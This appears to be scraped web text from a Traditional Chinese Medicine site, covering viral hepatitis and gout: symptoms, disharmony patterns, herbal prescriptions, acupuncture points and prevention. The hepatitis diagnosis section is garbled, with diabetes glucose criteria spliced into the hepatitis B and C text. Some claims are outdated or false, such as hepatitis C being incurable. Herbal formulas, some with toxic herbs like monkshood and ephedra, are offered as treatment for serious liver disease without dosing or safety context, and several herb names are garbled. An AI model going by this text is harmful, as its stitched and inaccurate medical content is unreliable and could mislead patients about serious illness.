Symptoms

At present, western medicine distinguishes viral hepatitis by its acute and chronic forms. According to TCM‘s viewpoint, jaundice, regional pain over the liver area, fatigue and poor appetite are characteristic of acute hepatitis. Chronic hepatitis is characterized by symptoms of with nausea, regional pain over the liver, abdominal distension and fatigue. 

1. Fever, aversion to heat, fatigue and soreness of limbs 
Initially heat and dampness evils impair the protective-qi, which is one kind of yang-qi. Food and drink are digested in the stomach and spleen and converted into protective-qi. This kind of qi keeps skin intact of skin as well as regulates perspiration. This function prevents the evils from invading the body and causing illness. Therefore when protective qi cannot function properly, heat symptoms, also known as an exterior disease pattern, will result.
   
2. Poor appetite, nausea, vomiting, fatigue, abdominal fullness, and weak limbs
These symptoms occur when the evils such as dampness and heat accumulate in the middle burner, which is where the spleen and stomach are located. This affects the absorption, digestion, transformation and transport of nutrients leading to the above symptoms.
   
3. Yellow coloring of skin and eyes (jaundice), dark color urine, or itchy skin
When dampness and heat evils are dominant, the liver and gall-bladder can become damaged, leading to liver qi and blood stagnation. This causes bile to leak out from the gall-bladder (located under the liver), and eventually gives rise to dark yellow colored skin, eyes and urine also known as jaundice.
   
4. Bleeding tendencies such as nasal bleeding, restlessness or unconsciousness 
When strong contagious evils such as poisonous agents attack the internal organs that affect blood circulation, bleeding occurs. If the evils invade the upper part of the body they can disturb the brain’s mental activities.
   
5. Depression, anxiety, emotional instability, pain that distends into the upper lateral region of the abdomen, and abdominal mass
These symptoms occur when the liver cannot regulate the flow of blood and qi, which leads to chest discomfort and affects the emotions. Stagnation of blood and qi for a long period obstructs the gall-bladder meridian and the liver meridian , which can cause regional pain over the liver area or the development of an abdominal mass.
   
6. Pale complexion, malaise, fatigue, and muscle spasms 
When dampness and heat evils damage the liver or spleen for a prolonged amount of time, the liver and spleen become dysfunctional and the ability to absorb nutrients declines. As a result, the production of essence stored in the kidney decreases along with blood, and the muscles lose nutrients and develop spasms.
   
7. Abdominal distention
In the final stage of the disease, not only do the liver and spleen become impaired, but the kidney is also affected. The resulting qi stagnation, bloodstasis and metabolic imbalance gives rise to symptoms like ascites.

 

In addition to the above symptoms, TCM practitioners will also diagnose individuals with a particular disharmony pattern which is discussed under the diagnosis section.

Diagnosis

Through the four techniques a variety of symptoms and signs will be used to identify the individual’s disharmony pattern. This is crucial because at the various stages of a disease, a variety of disharmony patterns are present which require different types of therapy. This is why individuals with the same disease may be treated very differently by their TCM practitioner.

As described earlier in the definition section, hepatitis is not directly diagnosed using TCM methods. Instead its symptoms will be grouped according to the disharmony pattern the individual displays. The following describes the disharmony patterns most commonly seen in person’s with viral hepatitis.

1. Stagnation of dampness-heat evil in middle-burner
  This condition causes fever, bright yellow coloring on the face, eyes and skin, as well as poor appetite, vomiting, nausea, and yellow or dark-colored urine. Additional symptoms may include constipation, and a feeling of oppression over the central abdomen after eating meals. The tongue is red and coated with greasy and yellow fur. The pulse is faint and stringy 
   
2. Stagnation of liver-qi and spleen deficiency
  Symptoms are not always obvious, but can be seen by poor appetite, nausea, dark yellow urine, a dry mouth, discomfort over the central abdomen after meals, and distended pain in the upper lateral region of the abdomen. However these symptoms are less obvious than the symptoms listed in the above type. The tongue appears red or pink, and is covered with a thin coating of fur and appears greasy. The pulse sign is small, faint and thready.
   
3. Yin deficiency in liver and kidney
  Individuals feel fullness or dull pain in the upper lateral region of the abdomen. They also experience dizziness, ringing in the ear, fatigue and soreness in the limbs. The skin complexion appears yellow in color, and the skin especially around the eyes and throat appears wrinkled and dry. Mental depression and insomnia may arise and lead to malaise and fatigue. Poor appetite and abdominal distention can also occur. Males may suffer from premature ejaculation, and females may have irregular menstruation. The tongue is pale and covered with thin greasy fur, and the pulse is faint.
   
4. Obstruction of the meridians by blood stasis
  Symptoms include lassitude, soreness of limbs, poor appetite, dull pain in the upper lateral region of the abdomen, and abdominal distention. The face appears gray or dark gray, the skin complexion yellow, palms appear dark red and there is nasal bleeding. Dilatation of small blood vessels may find on the face, chest or upper part of body. The tongue appears dark red and is covered with pettechaie that are small pinpoint purple bruised looking spots or appears greasy. The pulse sign is faint or thready and slight.
   
5. Excessive heat and toxins
  This type of syndrome occurs suddenly or results from persistent hepatitis. The individual suddenly becomes feverish, and the yellow coloring of the skin steadily deepens. Subsequent symptoms include drowsiness, confusion, swelling, body fluid that leaks into the abdominal cavity (ascites), passing bloody stool, and nasal bleeding. Finally, the individual vomits blood and slips into a coma. Death is usually the ultimate result. The tongue is dark red and is covered with fur that appears filthy and greasy or scaled. The pulse sign is thready and rapid or thready and rolling.

Note: If a TCM practitioner suspects there might be a serious problem that Chinese medicine alone cannot treat, he or she will recommend the individual see a western doctor for further follow up.

Western Medicine Diagnosis

Hepatitis A
Hepatitis A is diagnosed by testing blood for the presence of the virus. After an acute infection with the hepatitis A virus, most people recover uneventfully with no long-term effects but recovery generally takes a long time. Once a person recovers from the infection, the person develops immunity to the virus and cannot be infected again.

Hepatitis B
Hepatitis B virus infection can result in an acute or chronic condition. The disease is diagnosed by testing blood for the presence of the virus. A person is usually diagnosed with hepatitis B virus if they have had the virus present in their blood for more than six months. The severity of liver disease can be determined from A liver biopsy – a procedure used to obtain a small amount of liver tissue that is examined under a microscope. 

 

A fasting plasma glucose (FPG) of 140 mg/dl (7.8 mmol/l) or greater
A 2-hour plasma glucose (2-h PG) post 75-gm of oral glucose tolerance test (OGTT) level of 200 mg/dl (11.1 mmol/l)
Both of the above

Hepatitis C
As with hepatitis A and B, diagnosis of hepatitis C can be made by testing blood for the presence of the virus. The severity of liver disease can be determined from performing a liver biopsy.

However, the latest American Diabetes Association (ADA) expert committee finds that there is a greater degree of hyperglycemia amongst patients who have FPG of 140 mg/dl or higher than those who have 2-h PG of 200 mg/dl or higher. Almost all patients with FPG 140 mg/dl or higher have 2-h PG levels of 200 mg/dl or higher. However, not all patients with 2-h PG of 200 mg/dl or higher have FPG of 140 mg/dl or higher. Therefore, the ADA currently recommends the diagnosis of diabetes be based on a lower level of FPG.
A patient is diagnosed with diabetes if he has typical hyperglycemic symptoms with a random plasma glucose of 200 mg/dl (11.1 mmol/l) or greater, confirmed on a subsequent day by one of the following criteria: 

Typical symptoms of diabetes plus a random plasma glucose of 200 mg/dl (11.1 mmol/l)
A fasting (at least 8 hours of no caloric intake) plasma glucose of 126 mg/dl (7 mmol/l) instead of 140 mg/dl
A 2-hour post load glucose level of > 200 mg/dl (11.1 mmol/l) after a 75-gram anhydrous glucose load.

Treatment

From the viewpoint of TCM, the greatest harm that viral hepatitis causes is the retention of dampness and heat evils, which results in liver and gall bladder damage, stagnation of liver-qi, or liver and spleen malfunction. Therefore treatment depends on the clinical stages and disharmony patterns an individual displays. The therapeutic goals include clearing away heat and dampness evils, eliminating toxic materials, dispersing the liver-qi, relieving the blood stasis, invigorating the spleen, regulating stomach function for proper digestion, restoring proper liver function and nourishing yin. Below lists some examples of treatment options for the disharmony patterns most associated with viral hepatitis.

Stagnation of dampness-heat evil in middle-burner


Prescription: yinchenhao decoction plus addition or deduction with erchen decoction and sanhuang decoction

yin chen oriental wormwood
shan zhi cape jasmine fruit
huang qin baical skullcap root
huang lian golden thread
huang bai amur cork-tree
cang shu atracylodes root
ban xia pinellia tuber
chen pi dried tangerine peel
gan cao liquorice root
chuan qun rhubarb
che qian zi plantain seed

In this prescription, oriental wormwood and cape jasmine fruit expels yellow coloring; baical skullcap root, Chinese goldthread and amur cork-tree clears away damp-heat evils in the triple burner; atractylodes root, pinellia tuber and tangerine peel removes dampness evils and regulates stomach function; liquorice root coordinates the actions of the drugs in the prescriptions; rhubarb and plantain seed expels disease and toxins from the body.

Stagnation of live-qi and spleen deficiency


Prescription: xiaoyao powder plus addition or deduction with jinhua power

huang qin baical skullcap root
huang lian golden thread
huang bai amur cork-tree
tian ji huang hyperici japonici herb
chai hu Chinese tororwax root
zhi qiao orange fruit
mi yan coix seed
che qian zi plantain seed
chuan qun rhubarb
gan cao liquorice root

In this prescription, baical skullcap root, Chinese goldthread, amur cork-tree and hyperici japonici herb clear away damp-heat evils in the triple burner; Chinese thorowax and orange fruit regulate the circulation of liver-qi; coix seed invigorates the spleen and dispels dampness evils; plantain seed and rhubarb expel heat-toxin evils from the body. Liquorice root coordinates the actions of the drugs in the prescriptions.

Yin deficiency in liver and kidney

Prescription: xiaoyao powder plus zishui qinggan drink

chai hu Chinese tororwax root
zhi qiao orange fruit
sha shen fourleaf ladybell root
mai dong dwarf lilyturf tuber
sheng di dried rehmannia root
gui ban tortoise shell
shan yu rou cornus fruit
sang shen zi mulberry fruit
shou wu fleece flower root
nu zhen zi glossy privet fruit

In addition, for individuals who suffer from shortness of breath and weakness:

huang qi milkvetch root
bai zhu large head atractylodes rhizome
shan yao common yam root

In this prescription, Chinese thorowax and orange fruit regulate the circulation of liver-qi; fourleaf ladybell root, dwarf lilyturf root, rehmannia root and tortoise shell nourishes yin and clears away heat evils; taro pulp invigorates the spleen; mulberry, fleece flower root and glossy privet fruit nourish the kidney. Milkvetch root, largehead atractylodes and Chinese yam can replenish qi. 

Obstruction of the collaterals by blood stasis

Prescription: Yiguan decoction plus addition or deduction with Huayu decoction 

shi hu dendrobium stem
sha shen coastal glehnia root
bai zhi large head atractylodes rhizome
ji jin chicken’s gizzard skin
fu ling Indian bread
mi yan coix seed
bai shao white peony root
xiang fu nutgrass flatsedge root
xia ku cao spike of prunella
bie jia turtle shell
dan shen red sage root
hai zao seaweed

In this prescription, dendrobium and coastal glehnia root nourishes yin and clears away heat evils; large head atractylodes, chicken’s gizzard skin, Indian bread and coix seed invigorates the spleen and disperses dampness evils; white peony root and nutgrass flatsedge disperses liver-qi and relieves pain; spike of prunella, turtle shell, red sage root and seaweed activates the blood circulation and dissipates blood stasis. 

Excessive heat and toxin

Prescription: Anying niuhuang pill plus lingyangjiao powder for emergency treatment. 

It is recommended that an individual with this type of disharmony pattern be treated with a blend of both TCM and Western medicine.

Prevention

Individuals should be well rested. When yellow coloring appears on the skin and eyes (jaundice), strict bed rest is recommended. After the acute stage of the disease has passed, gradual exercise to promote rehabilitation can be undertaken. 
   
Diet should be light. For example, avoid seafood and greasy and spicy food.
   
Alcohol should be completely eliminated during recovery and post recovery because it can cause a relapse or worsen the liver condition.
   
Individuals should pay particular attention when consuming medications since the liver plays a special role in their metabolism. When liver function is damaged, these medications may not be broken down properly and can cause harmful side effects. Your doctor should advise you on which medications are safe to take if you have hepatitis. 

Western Medicine prevetion

Hepatitis A, B, and C virus are a common cause of liver disease worldwide. While hepatitis A infection is relatively benign in most cases, the effects of hepatitis B and C can have serious consequences. More importantly, since there is no cure for hepatitis B and C, prevention is the most important strategy to contain the spread of disease. While hepatitis B virus is the most common cause of chronic liver disease in Asia, hepatitis C is the most common cause of chronic liver disease in the U.S. Hepatitis C remains the most common cause of liver disease in the U.S. because of the chronic nature of the disease and the lack of effective vaccine. Although liver transplantation has become an accepted form of therapy in life-threatening cases, the new liver is not immune to re-infection by the hepatitis B or C. Until we find a cure for hepatitis, we must continue to educate the public about the risk factors and lifestyles changes to prevent hepatitis from spreading. Below lists some important prevention strategies for hepatitis. 

Hepatitis A
The best strategy for prevention is to practice good personal hygiene and maintain proper sanitation. There are also two drugs used to prevent hepatitis A virus infection: hepatitis A vaccine andimmune globulin 
Hepatitis A vaccine provides the best long-term protection against hepatitis A. The vaccine is intended for persons two years of age and older who are at risk for infection and for persons with chronic liver disease. Because it takes about four weeks for the vaccine to provide protection against hepatitis A, it should not be given after exposure to hepatitis A virus. 

Immune globulin can be given before exposure and is taken for short-term protection (three to six months) against hepatitis A. Patients who have already been acutely exposed to hepatitis A virus can also use it, because it helps to prevent them from re-developing hepatitis.
In order for the drug to work, it must be administered within 14 days after exposure. Lastly, the drug is highly recommended for travelers headed to high-risk areas who need short-term protection against hepatitis A. People who have already developed hepatitis A are immune against the virus for life.

Hepatitis B
Because there is no cure for hepatitis B infection, and the disease may lead to chronic liver disease, which can cause cirrhosis and liver cancer, prevention is critical in managing hepatitis B infection.Hepatitis B vaccine and hepatitis B immune globulin are two drugs that used to prevent hepatitis B infection.

Hepatitis B vaccine provides the best long-term protection against hepatitis B virus and should be given to all babies at birth, all children up to 18 years of age who have not been vaccinated, health care personnel, hemodialysis patients, persons who are at increased risk because of sexual practices, drug users who share needles, and people who have been accidentally exposed to blood infected needles with the virus.

Note: All individuals who are exposed to infected needles should receive both the hepatitis B vaccine and hepatitis B immune globulin immediately after they are exposed. 

Hepatitis B immune globulin is indicated for persons acutely exposed to the hepatitis B virus, infants born to infected mothers, and any individuals at increased risk of infection. Immune globlulin may prevent a person who is exposed to the virus from developing the disease. 

 

Hepatitis C
Unlike hepatitis A and B, there is no vaccine or immune globulin currently available to prevent hepatitis C transmission. Therefore, the only preventative measure is screening blood, organ, and tissue donors for the presence of the hepatitis C virus, and educating the public by counseling them to reduce or alter high-risk behaviors associated with hepatitis C infection.

 

 

]]> Gout http://acuherb.us/gout/ Fri, 13 Jan 2012 18:11:45 +0000 http://acuherb.us/?p=1404

 

Gout

Gout is a metabolic disorder which results in raised blood levels of uric acid and the formation of crystals of uric acid salts in the joints. Uric acid is a natural element which results from the normal break down of food and the building up of body tissues. The clinical presentation of gout includes frequent attacks of arthritis, joint deformities, kidney damage and urinary stones.

From a TCM viewpoint, the clinical features of gout, such as frequent attacks of swelling, redness, heat and pain in the joints, and improper movement of limbs, place gout in the category of “bi-syndrome.” The ancient TCM classic Suwen (The Book of Plain Questions) states that “bi-syndrome is due to a combined attack of wind, cold and dampness evils.” Attacks on the meridians in the superficial areas of the body such as the feet and hands by wind, cold and dampness evils lead to stagnation of vital energy (qi) and blood circulation. It is an obstructive disorder.

Traditional Chinese medicine holds that there is a distribution network for the fundamental substances like qi, blood and body fluid throughout the body. This network is called the Meridian System. It links organs, limbs, joints, bones, tendons, tissues and skin, and provides communication between the body’s interior and exterior. 

Causes

Gout mainly originates from the invasion and accumulation of  pathogens  in the meridians. This leads to a disturbance of blood and qi circulation in the limbs. Gout is considered to be caused by both endogenous (originating from inside the body) and exogenous (originating from outside the body) factors.

Exogenous causes
An invasion occurs of external pathogens, such as wind, cold, dampness and heat evils, and these then accumulate in the meridians and joints. TCM practitioners believe that wind, cold or dampness evils invade under the following conditions: 

living or working in cold and damp environments
getting wet while recreating or being in the rain
working in water for long periods
abrupt changes in the weather, and
exposure to wind while sweating.

Also, when invasive pathogenic evils remain in the body for some time, they develop into internal heat evil. Accumulation of internal heat evil causes a more serious bi-syndrome.

Endogenous causes
Deficiency in vital energy (qi) or stress are considered endogenous causes. Deficiency of vital energy (qi) usually results from an imbalance between work and rest, innate weakness of the body, lack of physical exercise or recent recovery from chronic illness. When the protective qi  is under-functioning, the skin and subcutaneous tissues are loosely bonded and exogenous pathogens take advantage of this to invade the body. They accumulate in the meridians and lead to stagnation of blood and qi.

If attacks of bi-syndrome are frequent and lengthy, meridian obstruction and blood stagnation leads to a disturbance in the metabolism of body fluids. Accumulated substances in the fluids are transformed into phlegm and the deeper organs become affected.

Symptoms

The type or manner of pathogen invasion will result in different presentations of gout bi-syndrome. The main clinical presentation of the predominant invading pathogen is as follows:

Wind evil causes mobile or unstable joint pain (migratory-bi).
Cold evil results in localized joint pain (painful-bi).
Dampness evil produces numbness, heaviness, and swelling of joints and muscles (localized-bi).
Heat evil generates heat, redness and swelling in the joints and severe tenderness (heat-bi).

TCM practitioners are accustomed to examining the sufferer and categorize symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns present at different stages of gout and are classified as the following types:

Bi-syndrome due to wind, cold and dampness evils 
The individual experiences painful joints and limbs, and in some cases severe localized joint pain. Other symptoms include limb heaviness, impaired movement of the affected joints and numbness in muscles. These symptoms will be aggravated during rain or damp weather.

Bi-syndrome due to wind, cold and heat evils
This type of bi-syndrome has an acute onset. The affected joints present with redness, swelling, heat and pain, and also severe tenderness. Relief can be provided with colder temperatures. Other symptoms include thirst, irritability and a fever that is not relieved by sweating.

Bi-syndrome due to phlegm and blood stagnation
This results from repeated attacks of acute bi-syndrome over many years. Individuals present with variable and frequent joint pain, swollen joints, and in severe cases joint deformity. Limbs cannot be flexed or extended and nodules form beneath the skin.

Bi-syndrome with associated liver and kidney damage
Individuals who suffer from long-term bi-syndrome will, without proper treatment, experience migrating bone pain, or soreness and heaviness in the limbs. In severe cases, joint deformity can occur. Symptoms can also include fatigue, pallor, shortness of breath, spontaneous sweating, improper joint movement, limb numbness, and soreness and pain in the loin region. 

Diagnosis

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques: 

Questioning The TCM practitioner will establish the medical history of both the patient and his family.
Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In gout, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows:

Bi-syndrome due to wind, cold and dampness evils 
From a TCM viewpoint, when the body’s protective qi is weak, climatic and environmental factors (the exogenous evils such as wind, cold and dampness) can readily invade. They attack the superficial meridians  and lead to stagnation of vital energy (qi)  and blood. Although these three evils may make a combined attack on the body, one is usually dominant and different symptoms result:

Wind evil causes migrating pain involving most limbs and joints.
Cold evil results in localized and severe pain of the limbs and joints (which is relieved by heat and aggravated by cold) and impaired movement of the limbs.
Dampness evil produces heaviness and numbness of the limbs, impaired movement of limbs, joint swelling (but without heat and redness) and localized pain.

On examination, the tongue is coated in a white thin fur. The pulse is tense and wiry, or taut and moderate.

Bi-syndrome due to wind, cold and heat evils
In the conflict between the exogenous evils  and vital energy (qi), much heat is produced and the exogenous evils of wind and cold may be transformed into heat evil. Individuals not only suffer from joint and limb discomfort, but also present with general heat symptoms, such as hot and red joints, fever, thirst and sweating. On examination, the tongue is red and covered with yellow fur. The pulse is slippery and rapid.

Bi-syndrome due to phlegm and blood stagnation
In recurrent bi-syndrome, internal damage leads to the formation of phlegm and blood stasis, and symptoms become more serious. Joint pain can worsen and joints become deformed or swollen and movement is impaired. There is severe pain and numbness in the limbs and nodules form beneath the skin. On examination, the tongue is bulky and pink, with bruising, and covered with white and greasy fur. The pulse is thready and uneven.

Bi-syndrome with associated liver and kidney damage
When the circulation of blood and qi is affected over a long period, vital energy (qi) becomes exhausted. The accumulated evils then commonly damage organs such as the liver and kidneys. Individuals usually present with internal damage: fatigue, pallor, shortness of breath, spontaneous sweating, improper joint movement, and soreness and pain in the loin region. On examination, the tongue is pink in color. The pulse is fine or fine and weak.

Treatment

Treatment of bi-syndrome in TCM can involve the use of a combination of therapies, such as herbal remedies, acupuncture and qi-gong.

Herbal therapy

Bi-syndrome due to wind, cold and dampness evils
Therapeutic aim:To dispel wind, cold and dampness evils, and remove obstructions in the meridians.

Prescription: Modified Yiyiren decoction.

qiang huo incised notopterygium rhizome
du huo double-teeth pubescent angelica root
fang feng divaricate saposhnikovia root
chuan wu common monkshood mother root
ma huang ephedra
gui zhi cassia twig
yi yi ren coix seed
cang zhu atractylodes root
dang gui Chinese angelica
chuan xiong Szechwan lovage root
sheng jiang fresh ginger
gan cao liquorice root

In this prescription, qiang huo, du huo and fang feng help to eliminate wind and dampness evils; chuan wu, ma huang and gui zhi clear cold evil and warm the meridians; yi yi ren and cang zhu tonify the spleen and eliminate dampness evil; dang gui and chuan xiong improve blood production and activate blood circulation; and sheng jiang and gan cao tonify the spleen and middle burner.

Bi-syndrome due to wind, cold and heat evils 
Therapeutic aim: To eliminate heat, wind and dampness evils, and remove obstructions in the meridians.
Prescription: Modified Baihu Guizhi decoction 

sheng shi gao unprocessed gypsum
zhi mu common anemarrhena root
gan cao liquorice root
jing mi polished round-grained rice
gui zhi cassia twig

In this prescription, sheng shi gao, zhi mu, gan cao and jing mi clear the heat evil and help soothe its symptoms; and gui zhi eliminates the wind evil in the meridians. 

Bi-syndrome due to phlegm and blood stagnation
Therapeutic aim: To expel wind evil, remove phlegm, blood stasis and obstructions in meridians.
Prescription: Modified Taohong drink

tao ren peach seed
hong hua safflower
dang gui wei Chinese angelica
chuan xiong Szechwan lovage root
wei ling xian Chinese clematis

In this prescription, tao ren and hong hua activate the blood and eliminate stasis; dang gui wei and chuan xiong activate the blood and improve blood production; wei ling xian eliminates the wind and dampness evils, and removes obstructions in the twelve meridians. 

Bi-syndrome associated with liver and kidney damage 
Therapeutic aim: To benefit the liver and kidneys, and remove the cold, wind and dampness evils.
Prescription: Modified Duhuo Jisheng decoction

 

shu di huang processed rehmannia root
du zhong eucommia
niu xi achyranthes root
sang ji sheng Chinese taxillus herb
ren shen ginseng
fu ling Indian bread
gan cao liquorice root
dang gui Chinese angelica
chuan xiong Szechwan lovage root
du huo double-teeth pubescent angelica root
qin jiao large-leafed gentian
xi xin Manchurian wild ginger
gui zhi cassia twig

In this prescription, shu di huang, du zhong, niu xi and sang ji sheng benefit the liver and kidneys, and also strengthen the bones and tendons; ren shen, fu ling and gan cao replenish the vital energy (qi) and tonify the spleen; dang gui and chuan xiong nourish the blood and regulate ying-fen ; du huo, qin jiao, xi xin and gui zhi eliminate the wind, cold and dampness evils and help relieve the bi-syndrome.

 

Non-herbal therapy

Acupuncture and moxibustion
This is generally indicated for chronic bi-syndrome that results in deficiency ofvital energy (qi). For bi-syndrome caused by wind, cold and dampness evils, a combination of acupuncture and moxibustion is recommended. For bi-syndrome caused by wind, cold and heat evils, acupuncture alone is better.

The commonly used acupuncture points for pain relief are: 

Shoulder: jian-zhen and localized trigger-points
Wrist: yang-chi, wai-guan and he-gu
Elbow: he-gu, shou-san-li and qu-chi
Knee: yang-ling-quan and xi-yan duo
Ankle: zhong-feng, kun-lun, jie-xi and qiu-xu.

Qi-gong
Qi-gong assists in regulating the meridians and anyone with bi-syndrome can benefit from it. It activates the blood circulation and helps restore the balance of yin and yang in the body. Performing qi-gong can increase muscle strength and relieve pain. It also helps rehabilitate damaged joints. Suggested types of qi-qong are fang-song gongand nei-yang gong. 

Qi-gong is a breathing exercise that uses mental and physical training techniques for health maintenance and the prevention and treatment of disease. It uses the mind to control the breathing and spirit of the individual.

Prevention

There is no cure for gout. The therapeutic aim is to focus on symptom relief and to control the progress of the disorder. The following measures help to prevent attacks of gout:

Dietary control: eat a balance diet and avoid eating animal organs, bean products and fermented food such as preserved salty fish.
Abstain from drinking alcohol.
Maintain moderate body weight.
Try to avoid the risk factors of gout, such as stress, over-tiredness, low body temperature and accidents that may damage joints.
   
Drink plenty of water to encourage the excretion of toxins.
Western medicine taken for the condition should be on advice of a doctor. Both TCM and Western doctors should be informed of all the therapies being used to relieve gout symptoms.
   
Individuals with a family history of gout should undergo regular check-ups as they may be predisposed to the disorder.

Dietary measures
From the TCM viewpoint, both food and drugs come from the same source and food can vary in character. This means that food can promote health or have an adverse effect on it. In TCM, dietetic restraint is urged, meaning that some foods should be avoided in certain disorders or while certain medicines are being taken. For example, intake of salty food should be limited in edematous patients and a greasy diet avoided in cases of diarrhea. In gout, it is bean products, red meat, offal and fermented and salty foods that should be avoided.

 

]]>